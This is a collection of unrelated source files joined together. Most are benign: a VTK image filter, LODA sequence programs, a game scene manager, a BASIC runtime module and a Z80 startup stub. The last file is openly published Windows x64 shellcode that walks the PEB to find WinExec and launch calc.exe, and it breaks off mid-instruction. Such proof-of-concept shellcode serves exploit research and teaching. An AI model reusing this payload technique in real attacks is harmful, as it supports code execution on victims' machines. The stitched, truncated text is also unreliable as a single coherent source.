this->Foo << "\n"; os << indent << "Output Scalar Type: " << this->OutputScalarType << "\n"; } //---------------------------------------------------------------------------- int vtkImageFoo::RequestInformation( vtkInformation*, vtkInformationVector**, vtkInformationVector* outputVector) { // Set the scalar type we will produce in the output information for // the first output port. if (this->OutputScalarType != -1) { vtkInformation* outInfo = outputVector->GetInformationObject(0); vtkDataObject::SetPointDataActiveScalarInfo(outInfo, this->OutputScalarType, -1); } return 1; } //---------------------------------------------------------------------------- // This function template implements the filter for any combination of // input and output data type. template <class IT, class OT> void vtkImageFooExecute(vtkImageFoo* self, vtkImageData* inData, IT* inPtr, vtkImageData* outData, OT* outPtr, int outExt[6], int id) { float foo = self->GetFoo(); int idxR, idxY, idxZ; int maxY, maxZ; vtkIdType inIncX, inIncY, inIncZ; vtkIdType outIncX, outIncY, outIncZ; int rowLength; unsigned long count = 0; unsigned long target; // find the region to loop over rowLength = (outExt[1] - outExt[0] + 1) * inData->GetNumberOfScalarComponents(); maxY = outExt[3] - outExt[2]; maxZ = outExt[5] - outExt[4]; target = (unsigned long)((maxZ + 1) * (maxY + 1) / 50.0); target++; // Get increments to march through data inData->GetContinuousIncrements(outExt, inIncX, inIncY, inIncZ); outData->GetContinuousIncrements(outExt, outIncX, outIncY, outIncZ); // Loop through output pixels for (idxZ = 0; idxZ <= maxZ; idxZ++) { for (idxY = 0; !self->AbortExecute && idxY <= maxY; idxY++) { if (!id) { if (!(count % target)) { self->UpdateProgress(count / (50.0 * target)); } count++; } for (idxR = 0; idxR < rowLength; idxR++) { // Pixel operation. Add foo. Dumber would be impossible. *outPtr = (OT)((float)(*inPtr) + foo); outPtr++; inPtr++; } outPtr += outIncY; inPtr += inIncY; } outPtr += outIncZ; inPtr += inIncZ; } } //---------------------------------------------------------------------------- // This function template is instantiated for each input data type and // forwards the call to the above function template for each output // data type. template <class T> void vtkImageFooExecute1( vtkImageFoo* self, vtkImageData* inData, T* inPtr, vtkImageData* outData, int outExt[6], int id) { void* outPtr = outData->GetScalarPointerForExtent(outExt); int outType = outData->GetScalarType(); switch (outType) { vtkTemplateMacro( vtkImageFooExecute(self, inData, inPtr, outData, static_cast<VTK_TT*>(outPtr), outExt, id)); default: vtkErrorWithObjectMacro(self, "Unknown output scalar type " << outType); return; } } //---------------------------------------------------------------------------- // This method is passed an input and output data, and executes the // filter algorithm to fill the output from the input. It just // executes a switch statement to call the correct function for the // datas data types. void vtkImageFoo::ThreadedRequestData(vtkInformation*, vtkInformationVector**, vtkInformationVector*, vtkImageData*** inData, vtkImageData** outData, int outExt[6], int id) { void* inPtr = inData[0][0]->GetScalarPointerForExtent(outExt); int inType = inData[0][0]->GetScalarType(); switch (inType) { vtkTemplateMacro( vtkImageFooExecute1(this, inData[0][0], static_cast<VTK_TT*>(inPtr), outData[0], outExt, id)); default: vtkErrorMacro("Unknown input scalar type " << inType); return; } }
; hello64.asm ; ; A simple x86_64 Hello World application that shows how to make system ; calls. ; ; Copyright (C) 2016 Gabriele N. Tornetta <phoenix1987@gmail.com>. All ; rights reserved. ; ; This program is free software: you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation, either version 3 of the License, or ; (at your option) any later version. ; ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ; GNU General Public License for more details. ; ; You should have received a copy of the GNU General Public License ; along with this program. If not, see <http://www.gnu.org/licenses/>. ; global _start SECTION .syscalls ; ; CONSTANTS ; SYS_WRITE equ 1 SYS_EXIT equ 60 STDOUT equ 1 ; ; Initialised data goes here ; SECTION .data hello db "Hello World!", 10 ; char * hello_len equ $-hello ; size_t ; ; Code goes here ; SECTION .text _start: ; syscall(SYS_WRITE, STDOUT, hello, hello_len); mov rax, SYS_WRITE mov rdi, STDOUT lea rsi, [hello] mov rdx, hello_len syscall push rax ; syscall(SYS_EXIT, <sys_write return value> - hello_len); mov rax, SYS_EXIT pop rdi sub rdi, hello_len syscall
; A201219: a(1) = 0; for n>1, a(n) = 1 if n is a power of 2, otherwise a(n) = 2. ; 0,1,2,1,2,2,2,1,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2 mov $3,$0 lpb $0,1 mul $0,2 trn $0,$3 mov $2,$0 trn $0,1 mov $1,2 lpe sub $1,$2
; A146535: Numerator of (2*n-1)/3. ; 1,1,5,7,3,11,13,5,17,19,7,23,25,9,29,31,11,35,37,13,41,43,15,47,49,17,53,55,19,59,61,21,65,67,23,71,73,25,77,79,27,83,85,29,89,91,31,95,97,33,101,103,35,107,109,37,113,115,39,119,121,41,125,127,43,131,133,45 mov $1,$0 sub $0,1 gcd $0,3 div $1,$0 mul $1,2 add $1,1
#include <boost/lambda/lambda.hpp> #include <iostream> #include <iterator> #include <algorithm> int main() { using namespace boost::lambda; typedef std::istream_iterator<int> in; std::for_each(in(std::cin), in(), std::cout << (_1 * 3) << " "); return 0; }
; A084128: a(n) = 4*a(n-1) + 4*a(n-2), a(0)=1, a(1)=2. ; 1,2,12,56,272,1312,6336,30592,147712,713216,3443712,16627712,80285696,387653632,1871757312,9037643776,43637604352,210700992512,1017354387456,4912221519872,23718303629312,114522100596736,552961616904192,2669934870003712,12891585947631616,62246083270541312,300550676872691712,1451187040572932096,7006950869782495232,33832551641421709312,163358010044816818176,788762246744954109952,3808481027159083712512,18388973095616151289856,88789816491100940009472,428715158346868365197312,2070019899351877220827136,9994940230794982344097792,48259840520587438259699712,233019123005529682415190016,1125115854104468482699558912,5432539908439992660458995712,26230623050177844572634218496,126652651834471348932372856832,611533099538596774020028301312,2952743005492272491809604632576,14257104420123477063318531735552,68839389702462998220512545472512,332385976490345901135324308832256,1604901464771235597423347417219072,7749149765046325994234686904205312,37416204919270246366632137285697536,180661418737266289443467296759611392,872310494626146143240397736181235712 mov $1,1 lpb $0 add $0,$1 sub $0,1 sub $0,$1 add $2,$1 add $3,$2 mov $2,$1 mov $1,$3 mul $1,2 add $2,$3 mov $3,$2 lpe mov $0,$1
; A303814: Generalized 24-gonal (or icositetragonal) numbers: m*(11*m - 10) with m = 0, +1, -1, +2, -2, +3, -3, ... ; 0,1,21,24,64,69,129,136,216,225,325,336,456,469,609,624,784,801,981,1000,1200,1221,1441,1464,1704,1729,1989,2016,2296,2325,2625,2656,2976,3009,3349,3384,3744,3781,4161,4200,4600,4641,5061,5104,5544,5589,6049,6096,6576,6625,7125,7176,7696,7749,8289,8344,8904,8961,9541,9600,10200,10261,10881,10944,11584,11649,12309,12376,13056,13125,13825,13896,14616,14689,15429,15504,16264,16341,17121,17200,18000,18081,18901,18984,19824,19909,20769,20856,21736,21825,22725,22816,23736,23829,24769,24864,25824,25921,26901,27000,28000,28101,29121,29224,30264,30369,31429,31536,32616,32725,33825,33936,35056,35169,36309,36424,37584,37701,38881,39000,40200,40321,41541,41664,42904,43029,44289,44416,45696,45825,47125,47256,48576,48709,50049,50184,51544,51681,53061,53200,54600,54741,56161,56304,57744,57889,59349,59496,60976,61125,62625,62776,64296,64449,65989,66144,67704,67861,69441,69600,71200,71361,72981,73144,74784,74949,76609,76776,78456,78625,80325,80496,82216,82389,84129,84304,86064,86241,88021,88200,90000,90181,92001,92184,94024,94209,96069,96256,98136,98325,100225,100416,102336,102529,104469,104664,106624,106821,108801,109000,111000,111201,113221,113424,115464,115669,117729,117936,120016,120225,122325,122536,124656,124869,127009,127224,129384,129601,131781,132000,134200,134421,136641,136864,139104,139329,141589,141816,144096,144325,146625,146856,149176,149409,151749,151984,154344,154581,156961,157200,159600,159841,162261,162504,164944,165189,167649,167896,170376,170625 mov $4,$0 add $0,3 mov $2,$4 add $2,4 mov $1,$2 mov $3,$2 lpb $0 trn $0,6 add $0,4 add $1,$3 add $3,2 add $1,$3 add $1,5 add $3,5 lpe sub $1,4
; A176320: Decimal expansion of (15 + sqrt(255))/6. ; Submitted by Jon Maiga ; 5,1,6,1,4,5,3,2,3,7,1,1,1,8,8,5,3,3,3,1,7,8,3,7,4,1,9,6,1,6,3,4,3,5,6,4,0,2,6,1,2,2,4,9,5,0,7,2,9,2,3,7,7,7,8,8,7,2,8,0,6,2,7,4,3,4,3,7,3,2,4,2,0,9,7,9,3,9,0,4,8,7,1,4,1,0,9,3,7,1,8,5,7,0,9,7,3,1,9,8 mov $2,1 mov $3,$0 mul $3,4 lpb $3 mov $1,6 add $5,$2 add $1,$5 div $1,2 mul $1,60 add $2,$1 sub $3,2 lpe mov $1,1 add $1,$5 mul $1,5 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
#include "Service.h" Service::Service(const std::vector<Component *> &components) { this->components = components; } Service::~Service() { } std::vector<Component *> & Service::getComponents() { return this->components; }
; A033570: Pentagonal numbers with odd index: a(n) = (2*n+1)*(3*n+1). ; 1,12,35,70,117,176,247,330,425,532,651,782,925,1080,1247,1426,1617,1820,2035,2262,2501,2752,3015,3290,3577,3876,4187,4510,4845,5192,5551,5922,6305,6700,7107,7526,7957,8400,8855,9322,9801,10292,10795,11310,11837,12376,12927,13490,14065,14652,15251,15862,16485,17120,17767,18426,19097,19780,20475,21182,21901,22632,23375,24130,24897,25676,26467,27270,28085,28912,29751,30602,31465,32340,33227,34126,35037,35960,36895,37842,38801,39772,40755,41750,42757,43776,44807,45850,46905,47972,49051,50142,51245,52360,53487,54626,55777,56940,58115,59302,60501,61712,62935,64170,65417,66676,67947,69230,70525,71832,73151,74482,75825,77180,78547,79926,81317,82720,84135,85562,87001,88452,89915,91390,92877,94376,95887,97410,98945,100492,102051,103622,105205,106800,108407,110026,111657,113300,114955,116622,118301,119992,121695,123410,125137,126876,128627,130390,132165,133952,135751,137562,139385,141220,143067,144926,146797,148680,150575,152482,154401,156332,158275,160230,162197,164176,166167,168170,170185,172212,174251,176302,178365,180440,182527,184626,186737,188860,190995,193142,195301,197472,199655,201850,204057,206276,208507,210750,213005,215272,217551,219842,222145,224460,226787,229126,231477,233840,236215,238602,241001,243412,245835,248270,250717,253176,255647,258130,260625,263132,265651,268182,270725,273280,275847,278426,281017,283620,286235,288862,291501,294152,296815,299490,302177,304876,307587,310310,313045,315792,318551,321322,324105,326900,329707,332526,335357,338200,341055,343922,346801,349692,352595,355510,358437,361376,364327,367290,370265,373252 mul $0,6 add $0,3 bin $0,2 mov $1,$0 div $1,3
//------------------------------------------------------------------------ // SceneManager // // Created: 2012/12/23 // Author: Carel Boers // // A simple scene manager to manage our models and camera. //------------------------------------------------------------------------ #include "SceneManager.h" #include <algorithm> using namespace Common; // Static singleton instance SceneManager* SceneManager::s_pSceneManagerInstance = NULL; //------------------------------------------------------------------------------ // Method: CreateInstance // Returns: void // // Creates the singletone instance. //------------------------------------------------------------------------------ void SceneManager::CreateInstance() { assert(s_pSceneManagerInstance == NULL); s_pSceneManagerInstance = new SceneManager(); } //------------------------------------------------------------------------------ // Method: DestroyInstance // Returns: void // // Destroys the singleton instance. //------------------------------------------------------------------------------ void SceneManager::DestroyInstance() { assert(s_pSceneManagerInstance != NULL); delete s_pSceneManagerInstance; s_pSceneManagerInstance = NULL; } //------------------------------------------------------------------------------ // Method: Instance // Returns: SceneManager::SceneManager* // // Access to singleton instance. //------------------------------------------------------------------------------ SceneManager* SceneManager::Instance() { assert(s_pSceneManagerInstance); return s_pSceneManagerInstance; } //------------------------------------------------------------------------------ // Method: SceneManager // Returns: // // Constructor. //------------------------------------------------------------------------------ SceneManager::SceneManager() : m_pCamera(NULL), m_pLight(NULL) { m_pLight = new DirectionalLight(); //m_pLight->m_diffuse = wolf::Color4(1.0f,1.0f,1.0f,1.0f); //m_pLight->m_ambient = wolf::Color4(0.3f,0.3f,0.3f,1.0f); //m_pLight->m_specular = wolf::Color4(1.0f,1.0f,1.0f,1.0f); //m_pLight->m_vDirection = glm::vec3(0.5f,-0.2f,-0.8f); m_pPlayerLight = new PointLight(); m_pPlayerLight->m_pos = glm::vec3(0.0f, 7.0f, 0.0f); m_pPlayerLight->m_radius = 20.0f; m_pPlayerLight->m_diffuse = wolf::Color4(0.0f, 0.0f, 1.0f, 1.0f); m_pLampLight = new PointLight(); m_pLampLight->m_pos = glm::vec3(-10.0f, 10.0f, -10.0f); m_pLampLight->m_radius = 40.0f; m_pLampLight->m_diffuse = wolf::Color4(1.0f, 1.0f, 0.0f, 1.0f); } //------------------------------------------------------------------------------ // Method: ~SceneManager // Returns: // // Destructor. //------------------------------------------------------------------------------ SceneManager::~SceneManager() { if (m_pLight) { delete m_pLight; m_pLight = NULL; } } //------------------------------------------------------------------------------ // Method: AddModel // Parameter: wolf::Model * p_pModel // Returns: void // // Adds a model the scene manager. //------------------------------------------------------------------------------ void SceneManager::AddModel(wolf::BMWModel* p_pModel) { m_lModelList.push_back(p_pModel); } //------------------------------------------------------------------------------ // Method: RemoveModel // Parameter: wolf::Model * p_pModel // Returns: void // // Removes a model from the scene manager. //------------------------------------------------------------------------------ void SceneManager::RemoveModel(wolf::BMWModel* p_pModel) { ModelList::iterator it = std::find(m_lModelList.begin(), m_lModelList.end(), p_pModel); if (it != m_lModelList.end()) { m_lModelList.erase(it); } } //------------------------------------------------------------------------------ // Method: Clear // Returns: void // // Clears the list of models in the scene manager. //------------------------------------------------------------------------------ void SceneManager::Clear() { m_lModelList.clear(); } //------------------------------------------------------------------------------ // Method: AddSprite // Parameter: wolf::Sprite * p_pSprite // Returns: void // // Adds the given sprite to the scene manager. //------------------------------------------------------------------------------ void SceneManager::AddSprite(wolf::Sprite* p_pSprite) { m_lSpriteList.push_back(p_pSprite); } //------------------------------------------------------------------------------ // Method: RemoveSprite // Parameter: wolf::Sprite * p_pSprite // Returns: void // // Removes the given sprite from the scene manager. //------------------------------------------------------------------------------ void SceneManager::RemoveSprite(wolf::Sprite* p_pSprite) { SpriteList::iterator it = std::find(m_lSpriteList.begin(), m_lSpriteList.end(), p_pSprite); if (it != m_lSpriteList.end()) { m_lSpriteList.erase(it); } } //------------------------------------------------------------------------------ // Method: ClearSprites // Returns: void // // Clears the list of sprites in the scene manager. //------------------------------------------------------------------------------ void SceneManager::ClearSprites() { m_lSpriteList.clear(); } //------------------------------------------------------------------------------ // Method: AttachCamera // Parameter: SceneCamera * p_pCamera // Returns: void // // Attaches the given camera to the scene //------------------------------------------------------------------------------ void SceneManager::AttachCamera(SceneCamera* p_pCamera) { m_pCamera = p_pCamera; } //------------------------------------------------------------------------------ // Method: GetCamera // Returns: SceneCamera* // // Returns the active camera. //------------------------------------------------------------------------------ SceneCamera* SceneManager::GetCamera() { return m_pCamera; } //------------------------------------------------------------------------------ // Method: Render // Returns: void // // Iterates the list of models, applies the camera params to the shader and // renders the model. //------------------------------------------------------------------------------ void SceneManager::Render() { // Can't render without a camera if (m_pCamera == NULL) { return; } // Get the view/proj matrices from the camera const glm::mat4& mProj = m_pCamera->GetProjectionMatrix(); const glm::mat4& mView = m_pCamera->GetViewMatrix(); // Iterate over the list of models and render them ModelList::iterator it = m_lModelList.begin(), end = m_lModelList.end(); for (; it != end; ++it) { wolf::BMWModel* pModel = static_cast<wolf::BMWModel*>(*it); pModel->render(mView, mProj, glm::mat4(), wolf::RenderFilterOpaque, false, 0, false); } // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // Render the sprite list with an ortho camera. // TODO: We should really add the camera separately rather than hard code it. const glm::mat4 mOrthoProj = glm::ortho(0.0f,1280.0f,720.0f,0.0f,0.0f,1000.0f); SpriteList::iterator sIt = m_lSpriteList.begin(), sEnd = m_lSpriteList.end(); for (; sIt != sEnd; ++sIt) { wolf::Sprite* pSprite = static_cast<wolf::Sprite*>(*sIt); pSprite->Render(mOrthoProj); } } void SceneManager::SetPointLightPos(glm::vec3 pos) { m_pPlayerLight->m_pos = pos; }
TITLE OUT - Output utilities ;*** ; OUT - Text Output utilities ; ; Copyright <C> 1986, Microsoft Corporation ; ;Purpose: ; ;****************************************************************************** INCLUDE switch.inc ;Runtime switch file INCLUDE rmacros.inc ;General runtime macros useSeg _DATA ;Uses the Data segment useSeg _BSS ;and the BSS segment useSeg RT_TEXT ;and the core code segment useSeg NH_TEXT INCLUDE seg.inc ;Segment definitions INCLUDE baslibma.inc INCLUDE devdef.inc INCLUDE files.inc INCLUDE ascii.inc INCLUDE idmac.inc INCLUDE const.inc sBegin _DATA externB b$IOFLAG ; Misc. IO flags. Defined in GWINI.ASM externW b$CURSOR ; (1,1)-relative screen cursor externB b$CSRX ; 1-relative x-coordinate cursor sEnd _DATA sBegin _BSS externW b$PTRFIL ;defined in GOSTOP.ASM sEnd _BSS externFP __FMSG_TEXT ;Get message text from number sBegin RT_TEXT PUBLIC B$TYPSTR PUBLIC B$TYPSTR1 PUBLIC B$TYPCNT PUBLIC B$OUTCNT externNP B$TTY_SOUT externNP B$STRSOUT externNP B$CHKLASTCOL ; check for last column on screen externNP B$UPDATE_CSR ; update cursor position after write assumes CS,RT_TEXT PAGE ;*** ; B$ITCR -- type CR/LF on console. Added with [15]. ; ;Purpose: ; ;Entry: ; None ;Exit: ; b$PTRFIL is reset ;Uses: ; None ;Exceptions: ; None ;****************************************************************************** cProc B$ITCR,<PUBLIC,FAR> cBegin CALL B$$TCR cEnd ;*** ; B$$TCR -- type CR/LF on console. ; ;Purpose: ; ;Entry: ; None ;Exit: ; b$PTRFIL is reset ;Uses: ; None ;Exceptions: ; None ;****************************************************************************** cProc B$$TCR,<PUBLIC,NEAR>,<AX> cBegin MOV AL,ASCCR ; Output CR only CALL B$$WCHT cEnd ;*** ; B$$WCHT -- type char on console. ; ;Purpose: ; ;Entry: ; None ;Exit: ; b$PTRFIL is reset ;Uses: ; None ;Execptions: ; None ;****************************************************************************** cProc B$$WCHT,<PUBLIC,NEAR> cBegin MOV [b$PTRFIL],0 ;must be zero for TTY output JMP B$TTY_SOUT cEnd <nogen> ; return via B$TTY_SOUT ;*** ; B$PRINTNUM - Print numbered message to the screen [17] ; ;Purpose: ; Prints a string to the console device (B$PTRFIL = 0), as referenced by the ; passed message number. Must not be used for fatal errors or if you don't ; want PRINT code pulled in. Use B$PUTNUM in ERPROC.ASM instead. ; ;Entry: ; [AX] = Message number ; ;Exit: ; None. ; ;Uses: ; Per convention. ; ;NOTE: The interpreter provides a version of this routine (B$PUTNUM) ; to print strings their way. ; ;****************************************************************************** ;*** ; B$PUTS - Print a null terminated string to console ; ;Purpose: ; Prints a string to the console device (B$PTRFIL = 0). ; ;Entry: ; [DX:AX] = Address of string ; ;Uses: ; Per convention ; ;NOTE: The interpreter uses this routine, so if we change the interface ; to use a far ptr, we need to notify them. ; ;****************************************************************************** cProc B$PUTS,<NEAR,PUBLIC>,ES cBegin MOV [b$PTRFIL],0 ; must be zero for TTY output MOV ES,DX ; set up seg reg XCHG AX,BX ; [ES:BX] points to string OR DX,DX ; See if null pointer JNZ PUTS_10 ; Enter the loop if not JMP SHORT PUTS_15 PUTS_5: CALL B$TTY_SOUT ; output char PUTS_10: MOV AL,ES:[BX] ; Get byte from string INC BX OR AL,AL ; see if end JNZ PUTS_5 ; jump if it isn't PUTS_15: cEnd ;*** ;B$TYPSTR - Output string defined by string decsriptor ; ;Purpose: ; Output string defined by string decsriptor to the screen. ; ;Entry: ; [BX] = Address of string descriptor ; ;Exit: ; String output ; ;Uses: ; Per convention, plus SI. ; ;****************************************************************************** B$TYPSTR: MOV CX,[BX] ;*** ;B$TYPCNT, B$TYPSTR1 - Output n bytes of a string defined by string decsriptor ; ;Purpose: ; Output n bytes of a string defined by string decsriptor to the ; console. The alternate entry point B$TYPSTR1 is used by B$PTRSTR ; and does not check for a 0 length string nor does it update ; b$PTRFIL. ; ;Entry: ; [BX] = Address of string descriptor ; [CX] = Count of bytes to output ; ;Exit: ; String output ; ;Uses: ; Per convention, plus SI. ; ;****************************************************************************** B$TYPCNT: JCXZ RETL MOV [b$PTRFIL],0 ;must be zero for TTY output B$TYPSTR1: ;entry point used by B$PRTSTR MOV SI,[BX+2] ; SI = string address ; See if we can pump the whole string out at once, or if we must do it a ; character at a time --- ; CMP CX,4 ; JBE B$OUTCNT ;brif 4 or less chars in string: not worth it TEST b$IOFLAG,RED_OUT OR LPR_ECHO OR F_EDIT JNZ B$OUTCNT ;BRIF user wants output to echo to printer ;or in INPUT mode or redirected output MOV AL,b$CSRX ; horizontal cursor position (1-relative) CBW ; clear high byte DEC AX ; make 0-relative ADD AX,CX ;add in number of chars in string OR AH,AH ; string size + cursor loc > 255? JNZ B$OUTCNT ;brif so XCHG DH,AL ; DH = column to test (one less than what ; we'll get when done) CALL B$CHKLASTCOL ; more than one past last column on screen? JA B$OUTCNT ; brif so -- we'll have to wrap to print it ; If we get b$CSRX = 81 when done, that's ; OK. PUSH CX ; save string length and address PUSH SI CTL_CHK: LODSB ; AL = next char CMP AL,31 ; is this character a control character? JBE CTL_CH_FOUND ;BRIF so LOOP CTL_CHK ;loop until all chars in string are checked CTL_CH_FOUND: ;here if we found a ctl char in our string; print it the slower way POP SI ; restore string address and length POP CX ;Fall through into B$OUTCNT ;*** ;B$OUTCNT - Output a string of characters one at a time ; ;Purpose: ; Print a string of characters to the screen one at a time. ; A count is given of the number of characters to be printed, ; the string does not have to be nul terminated. ; ; If FK_KANJI, then we also have to flush the one byte buffer ; that B$TTY_SOUT uses to hold the first part of a double ; byte character. This is done in case this string contains ; pieces of a KANJI character. ; ;Entry: ; CX - Count of characters to be printed ; DS:SI - Pointer to first character ; ;Exit: ; DS:SI - Points to position after the CXth character. ; ;Uses: ; SI as a pointer to the string, it is updated upon exit. ; ;Exceptions: ; None. ;**** B$OUTCNT: LODSB CALL B$TTY_SOUT LOOP B$OUTCNT RETL: RET SUBTTL TTY input supporting routine -- B$INPCRLF page ;*** ;B$INPCRLF -- print the terminating CR/LF(s). ; Moved here from inptty.asm with revision [18] for /O granularity. ; ;Purpose: ; This routine prints a terminating CR/LF after an INPUT or ; LINE INPUT statement that did not have a ';' to suppress the ; CR. It also writes a CR/LF to the screen when output is ; redirected and input is not redirected, in order to keep ; successive INPUT statements from writing over each other. ; ;Entry: ; b$IOFLAG set correctly ;Exit: ;Uses: ; none ;Exceptions: ; none ;*********************************************************************** cProc B$INPCRLF,<PUBLIC,NEAR>,<AX> cBegin CALL B$$TCR ; write terminating CR/LF to either ; screen/printer or redir. file MOV AL,b$IOFLAG AND AL,RED_OUT OR RED_INP ; is output redirected and input CMP AL,RED_OUT ; not redirected? JNZ NO_EXTRA ; brif not -- no extra CR required ; output a CR/LF to the screen and possibly the printer when output ; redirected and input not redirected. ; notice AL = RED_OUT !!! XOR b$IOFLAG,AL ; Fake B$TTY_SOUT into thinking it ; should to print to the screen ; (and printer) instead of to the ; redirected file. CALL B$$TCR ; write CR/LF to screen OR b$IOFLAG,AL ; Reset RED_OUT flag. NO_EXTRA: cEnd ; return to caller sEnd RT_TEXT END
; Stub for the Philips P2000 family ; ; Stefano Bodrato - 7/4/2014 ; ; $Id: p2000_crt0.asm,v 1.12 2016-07-15 21:03:25 dom Exp $ ; MODULE p2000_crt0 ;-------- ; Include zcc_opt.def to find out some info ;-------- defc crt0 = 1 INCLUDE "zcc_opt.def" ;-------- ; Some scope definitions ;-------- EXTERN _main ;main() is always external to crt0 code PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) ; Now, getting to the real stuff now! IF !DEFINED_CRT_ORG_CODE defc CRT_ORG_CODE = $6547 ENDIF defc CONSOLE_COLUMNS = 40 defc CONSOLE_ROWS = 25 defc TAR__no_ansifont = 1 defc TAR__clib_exit_stack_size = 32 defc TAR__register_sp = -1 defc __CPU_CLOCK = 2500000 INCLUDE "crt/classic/crt_rules.inc" org CRT_ORG_CODE basic_block: defw line_20 defw 10 defb $8E ; REM defm " Z88DK - Small C+ P2000 " defb 0 line_20: defw basic_end defw 20 defb $A3 ; DEF defb $B5 ; USR defb $CA ; '=' defm "&H6580" defb ':' defb 'A' defb $CA ; '=' defb $B5 ; USR defm "(0)" defb 0 basic_end: ; BASIC is abt 50 bytes long defs $6580 - CRT_ORG_CODE - (basic_end - basic_block) start: ld (start1+1),sp ;Save entry stack INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF call _main cleanup: ; ; Deallocate memory which has been allocated here! ; call crt0_exit start1: ld sp,0 ret l_dcal: jp (hl) ;Used for function pointer calls ; defm "Small C+ P2000" ; defb 0 INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm" SECTION code_crt_init ld hl,$5000 ld (base_graphics),hl
; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com> ; and Peter Ferrie <peter.ferrie@gmail.com> ; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/ ; All rights reserved. See COPYRIGHT.txt for details. ; Windows x64 null-free shellcode that executes calc.exe. ; Works in any x64 application for Windows 5.0-6.3 all service packs. BITS 64 SECTION .text %include 'type-conversion.asm' ; x64 WinExec *requires* 16 byte stack alignment and four QWORDS of stack space, which may be overwritten. ; http://msdn.microsoft.com/en-us/library/ms235286.aspx %ifndef PLATFORM_INDEPENDENT global shellcode shellcode: %ifdef FUNC ; assumes stack ends with 8 on entry, use STACK_ALIGN if it might not be. %ifdef CLEAN ; 64-bit calling convention considers RAX, RCX, RDX, R8, R9, R10 and R11 PUSH RAX ; volatile. Use CLEAN if you want to preserve those as well. PUSH RCX PUSH RDX %endif PUSH RBX PUSH RSI PUSH RDI PUSH RBP ; Stack now ends with 8 (!CLEAN) or is 16 byte (CLEAN) aligned %endif %ifdef STACK_ALIGN %ifdef FUNC PUSH RSP POP RAX %endif AND SP, -16 ; Align stack to 16 bytes ; (we can't force it to end with 8 without dummy push and then or) PUSH RAX ; Force stack to end with 8 before next push, also saves RSP to restore stack %elifdef CLEAN PUSH RAX ; dummy push to make stack end with 8 before next push %endif ; Note to SkyLined: instructions on 32-bit registers are automatically sign-extended to 64-bits. ; This means LODSD will set the high DWORD of RAX to 0 if top bit of EAX was 0, or 0xFFFFFFFF if it was 0x80000000. PUSH BYTE 0x60 ; Stack POP RDX ; RDX = 0x60 %else %ifdef FUNC %ifdef CLEAN PUSH RAX ; exchanged RDX PUSH RCX %endif PUSH RBX PUSH RSI PUSH RDI PUSH RBP ; Stack now ends with 8 (!CLEAN) or is 16 byte (CLEAN) aligned %endif %ifdef CLEAN %ifndef STACK_ALIGN PUSH RAX ; dummy push to make stack end with 8 before next push %endif %endif MOV DL, 0x60 %endif %ifndef USE_COMMON PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc\0\0\0\0" (stack alignment changes) PUSH RSP POP RCX ; RCX = &("calc") %endif SUB RSP, RDX ; Stack was 16 byte aligned already and there are >4 QWORDS on the stack. MOV RSI, [GS:RDX] ; RSI = [TEB + 0x60] = &PEB MOV RSI, [RSI + 0x18] ; RSI = [PEB + 0x18] = PEB_LDR_DATA MOV RSI, [RSI + 0x10] ; RSI = [PEB_LDR_DATA + 0x10] = LDR_MODULE InLoadOrder[0] (process) LODSQ ; RAX = InLoadOrder[1] (ntdll) MOV RSI, [RAX] ; RSI = InLoadOrder[2] (kernel32) MOV RDI, [RSI + 0x30] ; RDI = [InLoadOrder[2] + 0x30] = kernel32 DllBase ; Found kernel32 base address (RDI) shellcode_common: ADD EDX, DWORD [RDI + 0x3C] ; RBX = 0x60 + [kernel32 + 0x3C] = offset(PE header) + 0x60 ; PE header (RDI+RDX-0x60) = @0x00 0x04 byte signature ; @0x04 0x18 byte COFF header ; @0x18 PE32 optional header (= RDI + RDX - 0x60 + 0x18) MOV EBX, DWORD [RDI + RDX - 0x60 + 0x18 + 0x70] ; RBX = [PE32+ optional header + offset(PE32+ export table offset)] = offset(export table) ; Export table (RDI+EBX) = @0x20 Name Pointer RVA MOV ESI, DWORD [RDI + RBX + 0x20] ; RSI = [kernel32 + offset(export table) + 0x20] = offset(names table) ADD RSI, RDI ; RSI = kernel32 + offset(names table) = &(names table) ; Found export names table (RSI) MOV EDX, DWORD [RDI + RBX + 0x24] ; EDX = [kernel32 + offset(export table) + 0x24] = offset(ordinals table) ; Found export ordinals table (RDX) find_winexec_x64: ; speculatively load ordinal (RBP) MOVZX EBP, WORD [RDI + RDX] ; RBP = [kernel32 + offset(ordinals table) + offset] = function ordinal LEA EDX, [RDX + 2] ; RDX = offset += 2 (will wrap if > 4Gb, but this should never happen) LODSD ; RAX = &(names table[function number]) = offset(function name) CMP DWORD [RDI + RAX], B2DW('W', 'i', 'n', 'E') ; *(DWORD*)(function name) == "WinE" ? JNE find_winexec_x64 ; MOV ESI, DWORD [RDI + RBX + 0x1C] ; RSI = [kernel32 + offset(export table) + 0x1C] = offset(address table) ADD 